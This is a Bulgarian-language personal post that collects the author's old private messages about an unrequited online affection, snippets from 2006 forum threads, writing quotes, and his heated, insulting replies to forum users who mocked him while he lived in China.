Значи аз сега да ти кажа за какво става дума :oops: , с М. (М.-че) се познавам от близо година и, както знаеш, благодарение на нея дойдох тук (и ми хареса, та останах :lol: ). Тя, вероятно, знаеш си има приятел, аз също съм обвързан с китайка (логично е, предвид че съм в Китай) и колкото и да я харесвам (М.) знам, че никога няма да я "имам", поради именно тези "дребни" пречки като това, че не сме се видели по-рано и сме се навътрили в сериозни връзки, като това, че сме на не много близко разстояние и като това, че, колкото и да са несъществени годините за приятелство и нещо повече, то разликата ни е все пак около 12 години...
Съвсем случайно се оказах чат-приятел на нейното гадже, но не знаех, че е той (този, с когото ходи), защото с нея никога не сме си споделяли интимните неща около връзките ни (и правилно сме правили), но той ме изненада - "Я кажи сега ти какво общо имаш с моята приятелка, какви са ви отношенията?" и пр. ДАДОХ МУ ЕДИНСТВЕНИЯТ ВЪЗМОЖЕН И НЕ ТОЛКОВА ДАЛЧЕ ОТ ИСТИНАТА ОТГОВОР, че НЯМАМЕ ОТНОШЕНИЯ, ЩОТО СЪМ НА НАД 4 000 км. далече, най-малкото, та той, смятам прие, че може да съм един само приятел.
Не ме разбирай погрешно, аз много ти се радвам като й правиш намеци за "пеене на китайски" и "долитане до Китай", защото аз наистина съм си мечтал за нещо подобно, а кой не обича да слуша/ чете/ мечтите си? С други думи - много си проникновена и на място ги казваш тези неща, НО ИМА ЕДИН МНОГО ГОЛЯМ ПРОБЛЕМ, който не е от тебе, мене или нея, а от ФАКТА, че гаджето й също е член на този форум и ЧЕТЕ РЕДОВНО, макар и да не дава "признаци на живот" (явно се е учил от МИМИКРИРАЩИТЕ ЖИВОТНИ - хихихи). Та значи, ПРЕДСТАВИ СИ, колко му е "гот" и как се пръска от "кеф", като чете тези неща! В резултат - ще те намрази тебе, ще й прави проблеми на нея, ще вземе да ми се дърпа и на мене и... абсолютно тежко ще го понеса, ако се изпокараме всички. Знам че никой няма вина, ОСОБЕНО ПЪК ТОЙ, дето му идва като гръм от ясно небе, че някакъв натрапник и то "небългарин", и то от чужбина "се сваля" (мразя я тази дума, ама няма как) с гаджето му!
Ето защо съм решил ПУБЛИЧНО да се държа с нея сериозно или като клоун, колкото да съм й полезен със знанията си и да я разсмивам, но в никой случай да не показвам, че имам и грам сантиментални чувства.
Не знам колко е успешно, предвид, че ти НА ДВА ПЪТИ ВЕЧЕ (за което поздравления) направи тези проникновени до болка намеци, но се надявам да съм поне 80% прикрит.
МНОГО ТИ БЛАГОДАРЯ, ЧЕ МЕ ИЗСЛУША (няма нужда да казвам, че е тайна, щото си интелигентен човек и не ми приличаш на клюкарка) И ЩЕ СЕ РАДВАМ ДА УВАЖИШ МОЛБАТА МИ.
Иначе, може ли да знам, какво ти е казвала тя за мене? :)
_________
И последно - да не си помислиш, че пиша тука пък само заради нея, НАИСТИНА МИ ХАРЕСВА ФОРУМА КАТО СОФТУЕЪР, даже жабчето ми харесва, няма майтап!!! А в това, че си един страшно ерудиран човек в много отношения и ми е приятно да си говоря с тебе, мисля, че не се съмняваш! Така че, каквото съм написал досега съм го писал искрено и лично :lol: (нали има такова предаване, та се засмях).
Ще се радвам да ми отговориш! Сега отивам на пазар, след това ще имам вечерен урок и като се върна, ще се радвам хем да имам отговор от теб (ИМАШ ПЪЛНОТО ПРАВО ДА МИ НАПИШЕШ КАКВО СИ МИСЛИШ ЗА ЦЯЛАТА ТАЗИ ИСТОРИЯ И ВСИЧКО КАКВОТО ТИ ИДЕ НА УМ ПО ПРИНЦИП), хем на многото постове, които виждам вече сте започнали и ще мога да попиша доста:)
И последно - най-вероятно и ти си имаш приятел, щото не съм виждал интелигентни и добре-изглеждащи момичета да са сами, та, ако и той "наднича" тука и ревнува от "виртуални" неща, можеш също да ме предупредиш какво не бива да пиша и казвам публично, че да не намери под телето вол:) Всякакви предложения се приемат! :)
УСПЕШЕН ДЕН ТИ ЖЕЛАЯ И ВСИЧКО НАЙ-НАЙ-НАЙ-, с много късмет гарнирано! :)
___________
"
Както се вижда, до последно съм гледал да се съобразявам, да в всичко спокойно; относно "сериозната връзка"с китайка - ами тя си беше сериозна връзката, но самата китайка, все повече и повече правеше скандали, накрая се оказа с психически проблеми (вяра в духове, които населявали уж тялото й, подвеждане по разни измамници, които искаха да й вземат парите, за да изкарват духовете й навън и пр., та хубаво че вече не е в живота ми)! За нещастие - по-истинската любов (платонична, но силна и истинска) винаги е била за мен само онлайн, както в този случай... в останалите случаи - несподелена или невъзможна, както в случая с Лунг Джюн Хун.
И отговор с отговорите ми :):
Здрасти:)
Мерси за отговора ти!
"Ами явно се съм била добре информирана за вас с М.-че, с нея не сме говорили по въпроса."
Ох, ами то какво ли има да се каже...просто една виртуална дружба, наситена с някакви чувства, която няма никакво бъдеще... :cry:
"Аз дори не знаех, че се познавате, макар на места да си личи ;)"
:) :) :)
"Е, веднъж и казах че си голям добар и много весел човек и тн. (да не се цитирам) и съвсем дискретно ще я цитирам, ама между нас си: "да, голям сладур е" "
Йес! :) МЕРСИ МНОГО. Радвам се да го чуя:)
"Аз не знаех за вас, и се извинявам за тези "намеци""
Проблемът е само в гаджето й, иначе де да нямаше гадже (и аз да нямах)...щеше да видиш какво става :lol:
"Аз видях, че се майтапите, ту продължих с майтапа, но не знаех какво се крие."
Крие се само това, че я приемам за повече от приятелка, а и, предполагам, тя мен също, поне донякъде.
"Сега се чувствам амлко неловка."
НЕ бива, понеже, доколкото знам не е имало лоши ефекти.
"Предполагам говориш за d."
ЪХЪ. И гледам да сме внимателни, МАКАР И НА ВРЕМЕНА ДА МИ Е УЖАСНО ТРУДНО :(
"вече ше знам и ще внимавам какво пиша. И все пак много се радвам на твоята компания."
8)
"Нямам си гадже, няма и мн време за това :) така, че не се притеснвай"
Е, АМИ БРАВО!!! ЕЙ, НЯКОЙ ДЕН КАТО ИМАШ ЩЕ ТИ ЛИПСВА СВОБОДАТА. ДА ЗНАЕШ, МАКАР ЧЕ НЕ ТИ ГО ПОЖЕЛАВАМ, НО ТЕ ПРИКАНВАМ СЕГА ДА СИ ЖИВЕЕШ ЖИВОТА И ДА СЕ РАДВАШ. Повечето връзки свършват трагично, тъжно и/или драматично. Аз досега с толкова момичета съм се разделил и все те са ме зарязвали (с едно-единствено изключение) и да ти кажа само горчивина ми е останала. Ако можех да избирам щях да съм с една-единствена от самото начало до края. Но не е лесно да намериш човека, който не само да обичаш, но и да си подхождате.
"Радвам се логото ти харесва, аз особено харесвам жабките, а и жабката се връзва на скина ;)"
Разбира се и според Лазарев това е най-добрият цвят!!! Ако можеше и татарския да го направим така, ама няма как да го пипаме, защото синьото си е наш цвят от векове насам (ще ти споделя, че на мене никак не ми харесва - предпочитам лимонения цвят - между зелено и жълто).
"Приятен пазар и на теб и лека работа.
Ще се видим довечера, а аз вече ще знам какво да пиша.
Абе понамерисваше работата ама кой да сети ;)"
Да понамирисва може, важното е да не започне да вони! :lol:
(Направо стана като мъдра сентенция, ама така е, щото бате Далайчо е умен!- не ми обръщай внимание, влизам в ритъм за форума, че нали там трябва да го раздавам свежарски :lol: , че точно в един такъв леко-депресивен момент в друг форум ДаркС. ме заподозря, че тъжа за неговата М. ...
...
- ще ти дам един пример: почти до 60-те години на 20 век, официалното название на президента на Турция е реис-и джумхуриет, което си е чисто персийски начин за изразяване. Едва по-късно измислиха турското джумхур башканъ. Могам да ти дам хиляди такива примери. (Тук е ставало дума за ретюркизирането на новотурския език явно.)
Ако мога да се допълня - наистина най-идеалното би било човек да си намери от раз една любов, която да е истинска и завинаги. Уви, това не е лесно. Поне от горчивите връзки се натрупва някакъв опит, а и остават някакви, поне и малко (а някои случаи - немалко) хубави спомени. :)
-
Разни сентенции за писането:
Попитали Хелън Келър: “Има ли нещо по-лошо от това човек
да се роди сляп?” Тя отвърнала: “Да, да имаш зрение, но да ти липсва
въображение.”
“Аз се опитвам да изрязвам пасажите, които читателите обикновено
прескачат.” (Елмър Ленард)
“Убедителното писане е сбитото!” (Уилям Стрънк Джуниър)
“Пиши без да мислиш за плащане, докато не се появи някой, който да
предложи да ти плати!” (Марк Твен)
“Давай на читателите колкото се може повече информация и колкото се
може по-бързо. Tе трябва напълно да разбират какво, къде и защо се
случва всичко, за да могат сами да довършат историята, ако хлебарки
изгризат последните няколко страници.” (Кърт Вонегът)
:) :) :) :) :) :) :)
-
Те (И. и М.) си бяха най-странната двойка там безспорно.
-
Ето ви малко от онзи период. Сладки споменчета са си все пак :P
Пуснато на: Нед Авг 13, 2006 9:14 am Заглавие:
Дечко, ама ще пораснеш
Пуснато на: Чет Авг 17, 2006 10:49 pm Заглавие:
Душица
Малко наивна, но сладка
Форум: Свободна зона Пуснато на: Нед Авг 06, 2006 12:05 am Заглавие: Двойна игра
Момиче, дявол да го вземе!
А момче или мъж?
Форум: Свободна зона Пуснато на: Пет Авг 04, 2006 4:10 pm Заглавие: Споделете
Хора, аз съм всеки ден не на море, а направо на океан, не е толкова зле, но не е и нещо, без което не можем.
Защо ми го каза
За да те ядосва. А аз си мислех, че аз съм гад
Форум: Свободна зона Пуснато на: Сря Авг 02, 2006 10:55 am Заглавие: Какво правите в момента
искаш ли да ти кажа отговора?
Спести й го
Форум: Свободна зона Пуснато на: Сря Авг 02, 2006 2:29 am Заглавие: Какво правите в момента
Чудя се
Пак ли, бе, Петя?
Ще си пропилееш живота в чудене
Форум: Музика и кино Пуснато на: Сря Авг 02, 2006 2:22 am Заглавие: Любима реклама
uncanny, strange deja vu
Again...
Форум: Реклама. Пуснато на: Вто Авг 01, 2006 11:58 am Заглавие: Форума ми
omg, omg
Дам...
Но честито да ти е!
Отговори: 25
Видяна: 408
Форум: Държавите по света Пуснато на: Сря Авг 02, 2006 1:20 am Заглавие: Япония
Тъй като Петя явно не бърза много да ни разкаже за така любимата й японска култура, мисля да се намеся пак аз
ДЗЕН
Форум: Свободна зона Пуснато на: Пет Юли 28, 2006 7:33 pm Заглавие: Споделете
Сърдита съм на компютъра
Хахаха, що?
авите по света Пуснато на: Чет Юли 27, 2006 9:29 pm Заглавие: Япония
Много ми харесва културата им
Нима? Разкажи ни нещо за културата на Япония
... 8)
-
Ето и във връзка със споменатия бивш народен представител (бивш депутат), конкретно:
Админът на тогавашния татарски сайт ми съобщи в чата тези неща -
"Inkas` (06:09 PM) :
xxxxxxxxx tatars-bg.org
mal_ (06:09 PM) :
Ami ot koi e/
Inkas` (06:09 PM) :
user : xxxxxxxxxxxxxxxxxxxxx
Inkas` (06:09 PM) :
pass : xxxxxxxxxxxxxxxxxxxxx"
Та там прочетох:
"degerli akaylar,s udovolstvie shte se priteka na pomosht,no naistina tryabva edin den da sednem zaedno i izgradim strategiya za razvitie na tozi sayt.da diskutirame potrebnostite,vazmojnostite,i finansoviya resurs neobhodim za razvitieto na sayta.predlojete den i myasto za sreshta i vi obeshtavam che shte se sastoi.
znaete telefona mi navyarno,no oshte vednaj vi go izprashtam; XXXXXXXXXXXXXX
s uvajenie"
След това, както се знае, заради пантюркистки, протурски потребител възникнаха усложния, аз се отказах да участвам в развиването на въпросния сайт и не знам какво се е случило. Никога не съм имал пряк контакт с този човек (тогавашния народен представител), но по-сетне, доколкото четох онлайн за него (и писано от него), стигнах до извода, че е хем ерудиран, хем с добро сърце, човечен, съпричастен, услужлив. Няма да му пиша името, защото не знам дали това ще е от полза за него и за когото и да било, но си казвам откровеното мнение, макар и след толкова много години. (Иначе аз с политика не се занимавам, освен ако положението не е много нетърпимо, както бе напоследък в императоризиращия се все повече и повече Китай.)
-
От преди години - относно диалектико-материалистическото разбиране на нещата:
И аз съм в Китай, и аз съм така да се каже фен на комунизма, защото е научен и философски, а и съм философ по образование. Обаче, това, точно защото съм чел и съм изучвал по темата, да ти кажа: 1. Може да е измислица,. 2. И да е истина, по време на клиничка смърт в мозъка биохимията "бушува" и човек вижда всякакви успокоителни неща (повечето виждат подобни неща, просто защото мозъците ни са подобни)... и оттук вече - който си е по-религиозен и/или склонен към мистицизъм, ще го тълкува като бабина приказка и като библейски митотворчески чудеса, а който гледа на нещата разумно, ще търси по-прости обясния, в стил "бръснача на Окам".
За комунизма - правя уточнение сега, че става дума за истинския, теоретично описан/обяснен от Маркс и Енгелс, а не от разни негови практически прояви като тези в Северна Корея (а и напоследък - в Китай), които все повече и повече се отдалечават от всякакъв комунизъм и залитат към монархизъм и даже феодализъм, честно казано.
-
Отново от 2006-та:
Беше някаква тема от рода на "Татарът не е сам":
1. OLD MOON:
"Понеже информацията още не е смелена за пред вас, очаквайте скоро включване с информация за събрата на наш татар. Просто гений"
По принцип е известно как "смилаш" информацията - последният път в АБВ-то на 2 пъти се опита да фалшифицираш нещата, но освен Зоро, никой не ти се върза.
А и ЧОВЕК, КОЙТО СИ ПОЗВОЛЯВА ДА ЧЕТЕ ЛИЧНИТЕ И ДА БЪРКА ПО АКАУНТИТЕ НА ПОТРЕБИТЕЛИТЕ (Справка - МОЯ, ДЕТО СИ ПРОМЕНИЛ ХЕМ АВАТАРА, ХЕМ ПОЛА!) НЯМА КАКВО ДА МУ СЕ ВЯРВА НА ИНФОРМАЦИИТЕ. КОЙ ЗНАЕ ТОЗИ ПЪТ КОЙ ЩЕ НАБЕДИШ ЗА НЕЩО СИ...НЕ СЕ ЛИ УМОРИ ОТ ГЛУПОСТИ, БЕ, МУНЧО - ДЕТЕ ИМАШ, ПЪК ВЗЕМИ МАЛКО МУ ОБЪРНИ ВНИМАНИЕ, НЕ СЕ ВДЕТИНЯВАЙ САМИЯ ТИ...
2. СУН ДЗЪ:
"надушиха ли го вече хрътките?
кога да чакаме включване + мъг шот?"
НАУЧИ СЕ ДА ЧЕТЕШ МОЕТО МОМЧЕ И ДА РАЗБИРАШ. "СЪБРАТА НА Х или У" НЕ Е РАВНО НА САМИЯТ Х или У. Или ти не си научил още българския език, мъничкия ми?
"баси!само аз ли се вълнувам кво става с Татаря?
"
НЕ, НЕ СИ САМО ТИ ФИКСИРАН И ЖАДЕН ЗА ЗРЕЛИЩА, ИМА И ДРУГИ.
3. СТАН
"Що ве, аз също искам да се посмеем, ма или old_moon го е изплашил или е било фалшива тревога "
ЗНАМ ТЕ, ЧЕ ИСКАШ, АМА КАТО СЕ ПОЯВИ В АБВ-ТО С ИЗМИСЛЕНИЯ НИК И ДОСТА БЪРЗО ТЕ БАНИРАХА, ТА НЕ СЕ ПОЛУЧИ. Апропо, какво стана с предложението ти, дето ми беше писал на лични - "Аз лично ще помоля Олд Мун да те върне и ще кажа и на останалите, щото с тебе може и да не сме първи приятели, ама не мисля, че е добре да постъпват така с тебе?" НЕ, ЧЕ ИСКАМ ДА СЕ ВЪЗПОЛЗВАМ, ЩОТО НЕ СЪМ ТОЛКОВА СВОБОДЕН ДА СЕ ГУБЯ ВРЕМЕТО С ФОРУМ, КЪДЕТО от 10 души 8 са абсолютно под нивото на средностатистичния българин, АМИ ДА ВИДЯ ИМАШ ЛИ НЕЩО КАТО СЪВЕСТ?
4. КХАН-ТАНГРА
"Абе Татаря е като жените - като ги няма - мъка, като ги има - още по-голяма
Скоро попаднах на някаква стара тема. То не бяха снимки на богове и богини, то не бяха снимки на мистър Татарстан. Споделянето за насъщните месечни разходи за кабелна тв, 200 мбайта интернет и въглища и дърва за огрев няма да ги споменавам, дето трудно се покривали със заплатата на бг журналист от 10лв на месец.
Стига сте го гонили човека, банове, никове, проксита. Дайте му амнистия ! "
Е, ДА, ПОМНИМ КОЛКО ТЕЖКО ТИ БЕШЕ, ЧЕ ПРЕТЪРПЯ ПСИХОТРАВМА ОТ РАЗДЯЛАТА С ОНОВА МОМИЧЕ. "МАЛКО ЛУД" в подписите ти под аватара май е оттогава? (КАКТО И ПРОЯВИТЕ ТИ В ПОЕТИЧНАТА ТЕМА) НО НЕ Е ХУБАВО ДА НАСЛАГВАШ ТРАВМАТИЧНИТЕ МОМЕНТИ, ЕКСТРАПОЛИРАЙКИ ГИ ВЪВ ВРЪЗКА С ВСИЧКИ ЖЕНИ, ЧЕ И ДАЖЕ С ТАТАРА!
РАЗБИРАМ, ЧЕ ЛОГИЧЕСКИТЕ ТИ СПОСОБНОСТИ СА СКРОМНИ, АМА ЧАК ТОЛКОВА ПЪК ДА ВАДИШ ОТ КОНТЕКСТА КАТО ГРИШАТА...НЕГО СА ГИ БИЛИ ПО ДИСКОТЕКИТЕ, СПИРАЛИ СА ГО ПОЛИЦАИ ЗА ГЛОБИ, ВЛИЗАЛИ СА У ТЯХ ДА ГО ЗАПЛАШВАТ, ПРЕБИВАЛИ СА ГО КЪДЕ ЛИ НЕ И МОМЧЕТО СИ Е ДЕТО СЕ КАЗВА УДРЯНО У ТИКВАТА, АМА ТИ ЗАЩО?
-За боговете - пуснал съм ги, понеже не знаеха КАКВО Е НАИСТИНА БОГ (даже тази тема я бяхме продължили в АБВ-то и след като Добруджански и Ончо загубиха, единственото, което можаха да кажат е, че "Това не им било идеала за физика", мигар някой го интересуват техните идеали...
ИНАЧЕ АЗ АМНИСТИИ НЕ ИСКАМ :) В МОМЕНТА МОДЕРИРАМ 2 други форум и тука НАИСТИНА СЕ ЧУВСТВАМ НЕКОМФОРТНО И СЕ ЧУДЯ КАК МОЖЕ ИНТЕЛИГЕНТНИТЕ ХОРА ТУКА КАТО:
-ЛИРИК
-ИСТОРИК
-ДОКТОРА
-ДЕШИМАРУ
-БИЧЕЛИНА
-АСЕН Г
и още няколко да ви поняасят стоически...
ОСТАНАЛИТЕ, както знаете - НАПУСНАХА.
5. Никодим Петров
"Не е хубаво да се присмивате .....на даден човек,заради неговите недостатъци...
Просто защото никой не е достатъчно съвършен...за да има това право да съди другия ........и то в това което не е.
"
АБСОЛЮТНО СИ ПРАВ, НО ТЕ НЯМАТ СЪВЕСТ, НИТО ВЪЗПИТАНИЕ, НИТО НЯКАКЪВ МОРАЛ. ЦЕННОСТНАТА ИМ СИСТЕМА И ПЪЛЕН БОКЛУК.
6. ДЕШИМАРУ
"Татар си пече кинтите в Китай пък, който иска нека му се смее.
"
Правилно!
7. ГРИША
"Човече, аз търгувам с Китай, като знам кви кинти се пекат там, ще има още бая печене докато ги докара до прилична сума... Пък и от Плевенско трудно се пекат кинти в Китай
"
ГРИША, наистина тука не е лесно за хората без някакво особено образование като тебе да станат богаташи, но не забравяй, че аз съм МАГИСТЪР по ФИЛОСОФИЯ, владеещ няколко чужди езика, та определено си докарвам добър стандарт на живот и то само с няколко часа работа на ден като преподавател. Не ме мисли, добре съм, с други думи.
8. ДЕШИМАРУ
"Отдавна не съм влизал във форума и изглежда ми е остаряла информацията. Знам, че по едно време беше в Китай. Много свястно момче е според мен. Незнам защо така му се присмивате.
"
ОСТАВИ ГИ! НЕ ЗНАЯТ КАКВО ГОВОРЯТ! Като се появи онази -Силвия, дето била в Китай, веднага се оказа, че "Силвия е Татар", защото е в Китай, но, сега, аз не съм в Китай, понеже така им се иска. Завист и алогизъм, какво да ги правиш. Никога ми се струва няма да порастнат - деца направиха, ама децата от тях не са си отишли.
За свестен - ами свестен съм спрямо свестните, опитвал съм се и с тях да бъда свестен - какви ли опити не правих, но то със социопатични елементи можеш ли да се оправиш? Те даже помежду си се клеветят и ядат на времена...
9. НИКОДИМ ПЕТРОВ
"Татара и на мен ми е симпатичен,има добро сърце.
Предполагам за негово добро..
"
Общо взето си прав, благодаря на тебе и останалите, които казвате добри неща за мен!
10. К.Т.
"Очевидно, развитието на темата оправдава заглавието "
СВАЛЯМ ТИ ШАПКА ЗА ТЕЗИ ДУМИ !
11. СТАН
"Татара може би наи-бързо от целия форум губи самообладание и почва да обижда, и пише с главни букви . Не вярвам, че с него може да се води нормален разговор защото винаги се обръща на свада. Освен това знанията му за БИ според мен са под съмнение (меко казано), а се обажда авторитетно в теми от които няма абсолютно никва представа. Ако човек гледа на него като на безобиден луд (дигането на бабата за мускули, ходенето със шило из града, редактирането на вестник и складиране на дърва за огрев) е забавно , но тои става открито агресивен и бан-а си е таман на място"
ТОВА НЕ Е ТАКА - ПОМНИШ ЛИ В АБВ-ТО, как като дойдохте и взехте да ме обиждате, а аз отвърнах започнахте да ревете и да се чувствате подтиснати, да се молите на БОЛО - модератора да ме сецва, ама то вас ви сецнаха...И АЗ ОТВОРИХ ТЕМА, ЗА ДА ДЕМОНСТРИРАМ КАК СЕ РАБОТИ БЕЗ ОБИДИ - обиждахте ме, а аз говорех само по същество и най-накрая съвсем Ви отказах от спорта. Къса памет, ама то е и защото ти най-бързо излетя от там.
За разговорите - абе, младежо, с тебе колко пъти сме си писали на лични и не е имало никакви свади, на ударен ли се правиш или склерозираш на млади години?
За знанията ми в БИ - е, няма да си мерим пишките, ама ТИ ПЪК ТОЧНО КАКВИ ЗНАНИЯ ИМАШ, ЧЕ ДА МОЖЕШ НА ТАЗИ БАЗА ДА СЪПОСТАВИШ МОИТЕ? АЗ СЕ ЗАНИМАВАМ С БИ ОТ 1986 ГОДИНА, А ТОГАВА ТИ БИЛ ЛИ СИ РОДЕН ИЗОБЩО?
ЗА ЛУДОССТА - ХАЙДЕ СЕГА, АКО ЧОВЕК ТИ ПРОСЛЕДИ ТВОИТЕ ПОСТОВЕ И ОСОБЕНО АМБИВАЛЕНТНИТЕ ЛИЧНИ СЪОБЩЕНИЯ МОЖЕ ДА КАЖЕ СЪЩОТО, НО ЗА СТАНЧО.
ЗА БАБАТА - извадил си го от контекста. Ставаше дума, че едно момче беше бедно и питаше като няма пари за зала какво да прави и аз му рекох - да вдига табуретки, да прави лицеви опори, да работи с БИТИЕТО НА ОБЕКТИТЕ ОКОЛО СЕБЕ СИ, та бабата си беше само пример в поредицата, ама нали е по-лесно да се направиш на идиот (защо ли да се "правиш", то си ти е есенциално, сякаш) и го даваш през просото, надявайки се, че останалите до един не знаят за какво иде реч.
ЗА ШИЛОТО - ми какво?! Това показва само ИНТЕЛИГЕНТНОСТ - щото като те проверят някои от онези момчета, дето проверяват трудовите граждани, а не баш-бабаитите, ВИНАГИ МОЖЕШ ДА КАЖЕШ, че хобито ти е да си обущар, ама хванат ли те с пищова, какво ще кажеш? Че си си сложил за аватар жена, следвайки женското си начало ли, Стане?
ЗА ВЕСТНИКА - НЕ СИ ЗАПОМНИЛ НИЩО! РАБОТИЛ СЪМ В 2 ВЕСТНИКА, но не е било за 10 лева. В ТЕЛЕВИЗИЯТА БЯХ ЗА 10 ЛЕВА НА СЕДМИЦА.
ЗА ДЪРВАТА - ами да, навремето събирахме дърва за огрев, пък сега си живеем в тропика и тука е огрято без дърва. Животът поднася изненади, нали? Хайде сега умри от яд и пиши пак нещо злостничко. :))))) ХАХАХА!
12. РЕД ДРАКОН
"Добро сърце, ха, Татара е зъл до мозъка на костите си Детето от комплекси така се е озлобило, че тъмната страна погълнат вече е "
СПЕЦИАЛНО СПРЯМО ТЕБЕ - ДА, ОЗЛОБИ МЕ. НА НЯКОЛКО ПЪТИ МЕ ПОСТАВЯШЕ НА ОГРАНИЧЕН РЕЖИМ БЕЗ ПРИЧИНА ИЛИ С НЕНОРМАЛНИ ОБЯСНЕНИЯ ОТ ТИПА НА ОНЯ -"Я СИ ЕБИ МАЙКАТА!" (Това е на ОНЯ, твоите бяха по-меки). И В СЪЩОТО ВРЕМЕ, КОГАТО ЕДИН ОТ МОДЕРАТОРИТЕ МИ КАЗА, ЧЕ ТИ СИ НАЙ-БИЛ ПРОТИВ ДА МИ СЕ ВРЪЩАТ ПРАВАТА, ВЗЕ ДА ГОВОРИШ, ЧЕ СИ МЕ ЗАЩИТАВАЛ. АМИ ТОВА ПРОСТО СИ Е НАГЛОСТ и затова съм съгласен с думите на няколкото юзъра от срещата ви в София, които казаха, че си мазен и противен човек. Как да не се съгласиш с толкова адекватно описание? ТАКА, ЧЕ ПРИ ПОЛОЖЕНИЕ, ЧЕ ТИ СИ ТОЛКОВА ТЪМЕН, НЕ ОЧАКВАЙ ХОРАТА ДА ХАРЧАТ ЕНЕРГИЯТА СИ, ЧЕ ДА ТЕ ОСВЕТЯВАТ (така метафорично малко, ама ти ще ме разбереш, не си от най-простите тука).
13. ПРОФ
"<ирония> "Татарят не е сам. Много са. Навсякъде са. Те идват. Цяла орда..Татари. Търсят разплата АААА Помооощ... </ирония>
Какво се стряскате бе, никого не е изял"
АШКОЛСУН, ЗАБИ ГИ!!! ТОЧНО НА МЯСТО - не само параноя, но направо шизофрения ------ вече ме обвиниха, че съм се включвал като:
-Силвия
-Джинджер
-Берсек
-Топалски
......
МАЙ "ИМАМ" 17 акаунта...
КАКВО ДА ТИ РАЗПРАВЯМ? ЛУДИ ХОРАТА!
14. ЕЛИЗА
"Драги,Стара луна ли беше, не е хубаво в отсъствието на човека да го коментирате така! Не стига, че ви забавляваше и развличаше, и ви пълнеше форумите/че и специални теми за него имаше създадени - аз да съм на негово място досега да съм ви заплюл!/, но и продължавате - вече с отсъствието му. Всъщност и на мен ми беше интересен /аз общо взето толкова не се интересувам от бойни изкуства, колкото от приказките на мъжете :-)/, но незнам защо зачезна. ..Сега разбирам, че щял да се жени за дъшеряьта на Доктора :-) - ето, виждате ли как и аз разпространявам клюките :-(
Не е лесно да си в Китай! Я вие научете китайски, пък после ще си говорим!
Иначе то е ясно, че има търговия с Китай :-), ама не излиза на сметка.
Всъщност то има и китайски бойни изкуства, но..това е друга тема :-)
"
ОПРЕДЕЛЕНО ОТСЪСТВАХ, ДОБРЕ ЧЕ МИ СЕ ОБАДИХА ДВАМА ОТ ТРИМАТА ПОТРЕБИТЕЛИ ТУКА, С КОИТО ПОДДЪРАМ ВРЪЗКА, ЧЕ ДА ИЗЧЕТА РЕДОВНАТА ПРОСТОТИЯ НА ДАОБГ-ТО.
ЗА ЗАБАВЛЕНИЕТО И ТЕМИТЕ - ТАКА Е : АЗ, ИСТОРИКА СПЕЦИАЛНО, КАКТО И НЯКОЛКО ДРУГИ СМЕ УЧЕНИ ХОРА И СМЕ ПУСКАЛИ ДОБРИ ТЕМИ. ПРИМЕРНО ТЕМАТА ЗА ПОЕЗИЯТА (която я осраха после със зоофилските си стихове) Е МОЯ. ОНЧО ТВЪРДЕШЕ, ЧЕ БГ-ЕЗИКА НЕ БИЛ ПОЕТИЧЕН, А СЕ ОКАЗА, ЧЕ Е И, ЧЕ ДОСТА ХОРА ИМАТ ТАЛАНТ ДА ПИШАТ ИЛИ ПОНЕ СЕ ОПИТВАТ (като Берсек).
ЗА ЗАПЛЮВАНЕТО - АМИ ДА, като изключим няколкото по-умни потребителя тука, всичко друго отдавна съм го удавил в плюнка. В момента съм модератор на два форума, работя по тях съвестно, действам за каузите и въобще не ми е до простотиите в това семпло и пошло кътче - Даобг. Произволно-избран сайт, дори македонски, може да ти даде повече полезни моменти, отколкото тука (с редки изключения).
И НЕ СИ ПРАВА - не съм изчезвал, он-лайн съм си:)
ЗА ЖЕНИТБАТА - абе това са глупости,не знам кой идиот го е казал, АМА АЗ СЪМ ЖЕНЕН ЗА КИТАЙКА И НЕ ВИЖДАМ СМИСЪЛ ДА МИ СЕ ПУСКАТ НА МЕНЕ И НА ДОРИЯН ТАКИВА КОМПРОМАТИ. КАКО КАЗАХ, ВЕРОЯТНО ГО Е КАЗАЛ НЯКОЙ АБСОЛЮТЕН ИДИОТ ТОВА.
За Китай - разбира се, че не е лесно. Не само китайски трябва да се учи, а и да живееш без доста познати неща, както и да се адаптирашш към други, но аз все пак съм от татарски род - потомък на прабългари, кумани и монголи, та съм се върнал в Прародината си. Освен това съм с комунистически убежения и мястото ми е тук, а не в поробената от САЩ, ТУРЦИЯ и НАТО - България. Пфу!...
За търговията - ГРИШКОТО Е ПРАВ, НА СМЕТКА Е, ЗАЩОТО В КИТАЙ Е ЕВТИНО, А НА ЗАПАД Е СКЪПО. АЗ СЪЩО ПРАВЯ ТЪРГОВИЯ СЪС ЗАПАДА, ТА ЗНАМ КАК Е.
15. МАСТЪР:
"Татара освен култовите глупости бълваше огън и жупел по много хора тук. Факт е, че преди да го вземат на подбив тези хора се опитаха да му обяснят, че говори глупости. Той започна да обижда и така се стигна до закономерното му изгонване. Понеже не можеше да пише тук той обриса един куп други форуми, на мен на лично съобщение ми беше пратил някаква гнусотия за Гришата, а и на други хора, накрая беше изгонен отвсякъде. Предполагам пак е бил засечен тук или някъде другаде, затова чакаме включване от old_moon да разберем какво е натворил този път"
ТИ ПЪК ТОЛКОВА СИ СТАНАЛ ЖАЛЪК И БЕЗЛИЧЕН НАПОСЛЕДЪК...НА времето имаше стил, отстояваше себе си, после взеха да те подиграват, после те поканиха на няколко събирания и сега вече само ПРИПЯВАШ...МАЛКО МИ СЕ ПОВДИГА ОТ ОПОРТЮНИСТЧЕТА КАТО ТЕБЕ, АМА ЩЕ СЕ ОПИТМ ДА ПРЕОДОЛЕЯ ПОГНУСАТА И ДА ТИ ОТГОВОРЯ (Все пак отговарям даже на много по-нискоинтелигентни хора от тебе като СТАНЧО, да същия, дето те правеше на луд по едно време, въпреки по-ниския IQ).
Огън и жупел съм бълвал по НЯКОЛКО ХОРА ТУК, а не по много.
ЩО НЕ СЪМ БЪЛВАЛ ПО:
-НЕКРОСИМУС
-ПЛАЦЕБО
-АЙРЪН ЛЕЙДИ
-ЕЛИЗА
-ДЕШИМАРУ
-ДОКТОРА (макар, че сме спорили за АВТОХТОННИТЕ ГЛУПОСТИ НА ЗИЕЗИ)
-ИСТОРИК
-АСЕН Г
-ВАЛЬО
-ЯВОР ДЯНКОВ
.....
ЩО БЕ?
Опитали се да ми обяснят, че "говоря глупости". Кой се е опитал да ми обясни? Няколкото вживяващи се като разбиращи, дето ПО ТОВА ВРЕМЕ не бяха помирисвали университет, а аз вече бях завършил МАГИСТРАТУРАТА СИ ПО ФИЛОСОФИЯ ЛИ? Че много пък ме подценяваш ти, бе, опортюнистична душичке такава!
